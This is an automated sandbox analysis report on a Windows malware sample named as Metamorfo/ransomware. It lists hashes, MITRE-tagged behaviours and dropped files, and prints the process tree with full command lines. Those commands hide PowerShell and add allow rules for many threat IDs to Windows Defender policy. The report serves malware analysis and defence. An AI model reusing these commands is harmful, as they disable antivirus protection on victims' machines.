78fa1e2a9827a868c6fac570321a35ea7a128704e0e0d4bd39116a0df4078c42

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 15:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
Size 6.7MB
Sample240612-swclmstepr
SHA256 78fa1e2a9827a868c6fac570321a35ea7a128704e0e0d4bd39116a0df4078c42
MD5 abf6c77d24d82249a3a0e5d167e71cf8
SHA1 298feb7e783ade421670560d32d81d2c6c6abe3c
SHA512 6ef5fc93ac5a40fa2decee108e03b7be74f3fcb98208b23cea2f3dbacd85cb5a3a38f3e60bbf2e714ca22bbb2ba47c970b58e1ed0ce3b5bc27885ea1f28e08a3
SSDEEP 98304:9bmlAgrophaRxIm9UPRodtdCWAUb4+IpSBj/qpNPtXC0CxDgZzjNlo3Yp2V3layG:U15WVOkI4DEBLqpNPpC0RIzV3aurKq
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5056	powershell.exe
1892	powershell.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fljifmimijgpmpmljdnnahbaifjkhljd\1.0.0_0\manifest.json	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\features\{52889446-F452-4BAF-8C29-14E0A65A796E}.xpi	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\IoUUfMARU\plrzYHc.xml	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\wTRjFoTZBCJU2\DDqateg.xml	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\RIHWGRtePcuCC\vRUcRev.xml	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR\iXfPURb.dll	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\ISRzKRYQkXMsNitvqWR\OCnjsEE.xml	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{52889446-F452-4BAF-8C29-14E0A65A796E}.xpi	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\wTRjFoTZBCJU2\RfSLlTyOhyOSo.dll	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\RIHWGRtePcuCC\yfcsaXk.dll	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\IoUUfMARU\fLTOyS.dll	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
File created	C:\Program Files (x86)\WMjoSXpldHUn\tukschv.dll	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\wxEqGNSYgejnnxk.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4528	1668	WerFault.exe	81

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1300	schtasks.exe
3444	schtasks.exe
3276	schtasks.exe
408	schtasks.exe
1964	schtasks.exe
2076	schtasks.exe
4392	schtasks.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
5056	powershell.exe
5056	powershell.exe
1560	powershell.exe
1560	powershell.exe
1968	powershell.exe
1968	powershell.exe
1892	powershell.EXE
1892	powershell.EXE
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	1892	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 5088	1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe	85
PID 1668 wrote to memory of 5088	1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe	85
PID 1668 wrote to memory of 5088	1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe	85
PID 5088 wrote to memory of 3960	5088	cmd.exe	87
PID 5088 wrote to memory of 3960	5088	cmd.exe	87
PID 5088 wrote to memory of 3960	5088	cmd.exe	87
PID 3960 wrote to memory of 3520	3960	forfiles.exe	88
PID 3960 wrote to memory of 3520	3960	forfiles.exe	88
PID 3960 wrote to memory of 3520	3960	forfiles.exe	88
PID 3520 wrote to memory of 3780	3520	cmd.exe	89
PID 3520 wrote to memory of 3780	3520	cmd.exe	89
PID 3520 wrote to memory of 3780	3520	cmd.exe	89
PID 5088 wrote to memory of 2104	5088	cmd.exe	90
PID 5088 wrote to memory of 2104	5088	cmd.exe	90
PID 5088 wrote to memory of 2104	5088	cmd.exe	90
PID 2104 wrote to memory of 4648	2104	forfiles.exe	91
PID 2104 wrote to memory of 4648	2104	forfiles.exe	91
PID 2104 wrote to memory of 4648	2104	forfiles.exe	91
PID 4648 wrote to memory of 1892	4648	cmd.exe	92
PID 4648 wrote to memory of 1892	4648	cmd.exe	92
PID 4648 wrote to memory of 1892	4648	cmd.exe	92
PID 5088 wrote to memory of 848	5088	cmd.exe	93
PID 5088 wrote to memory of 848	5088	cmd.exe	93
PID 5088 wrote to memory of 848	5088	cmd.exe	93
PID 848 wrote to memory of 1888	848	forfiles.exe	94
PID 848 wrote to memory of 1888	848	forfiles.exe	94
PID 848 wrote to memory of 1888	848	forfiles.exe	94
PID 1888 wrote to memory of 2208	1888	cmd.exe	95
PID 1888 wrote to memory of 2208	1888	cmd.exe	95
PID 1888 wrote to memory of 2208	1888	cmd.exe	95
PID 5088 wrote to memory of 1064	5088	cmd.exe	96
PID 5088 wrote to memory of 1064	5088	cmd.exe	96
PID 5088 wrote to memory of 1064	5088	cmd.exe	96
PID 1064 wrote to memory of 3664	1064	forfiles.exe	97
PID 1064 wrote to memory of 3664	1064	forfiles.exe	97
PID 1064 wrote to memory of 3664	1064	forfiles.exe	97
PID 3664 wrote to memory of 2332	3664	cmd.exe	98
PID 3664 wrote to memory of 2332	3664	cmd.exe	98
PID 3664 wrote to memory of 2332	3664	cmd.exe	98
PID 5088 wrote to memory of 4556	5088	cmd.exe	99
PID 5088 wrote to memory of 4556	5088	cmd.exe	99
PID 5088 wrote to memory of 4556	5088	cmd.exe	99
PID 4556 wrote to memory of 3288	4556	forfiles.exe	100
PID 4556 wrote to memory of 3288	4556	forfiles.exe	100
PID 4556 wrote to memory of 3288	4556	forfiles.exe	100
PID 3288 wrote to memory of 5056	3288	cmd.exe	101
PID 3288 wrote to memory of 5056	3288	cmd.exe	101
PID 3288 wrote to memory of 5056	3288	cmd.exe	101
PID 5056 wrote to memory of 1108	5056	powershell.exe	102
PID 5056 wrote to memory of 1108	5056	powershell.exe	102
PID 5056 wrote to memory of 1108	5056	powershell.exe	102
PID 1668 wrote to memory of 1560	1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe	104
PID 1668 wrote to memory of 1560	1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe	104
PID 1668 wrote to memory of 1560	1668	2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe	104
PID 1560 wrote to memory of 2212	1560	powershell.exe	106
PID 1560 wrote to memory of 2212	1560	powershell.exe	106
PID 1560 wrote to memory of 2212	1560	powershell.exe	106
PID 2212 wrote to memory of 2764	2212	cmd.exe	107
PID 2212 wrote to memory of 2764	2212	cmd.exe	107
PID 2212 wrote to memory of 2764	2212	cmd.exe	107
PID 1560 wrote to memory of 1120	1560	powershell.exe	108
PID 1560 wrote to memory of 1120	1560	powershell.exe	108
PID 1560 wrote to memory of 1120	1560	powershell.exe	108
PID 1560 wrote to memory of 3144	1560	powershell.exe	109

C:\Users\Admin\AppData\Local\Temp\2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-12_abf6c77d24d82249a3a0e5d167e71cf8_bkransomware_metamorfo.exe"
1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3520
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3780
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4648
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1892
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:848
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1888
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2208
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3664
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2332
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3288
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5056
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:1108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:2764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1120
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3144
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1544
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4632
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
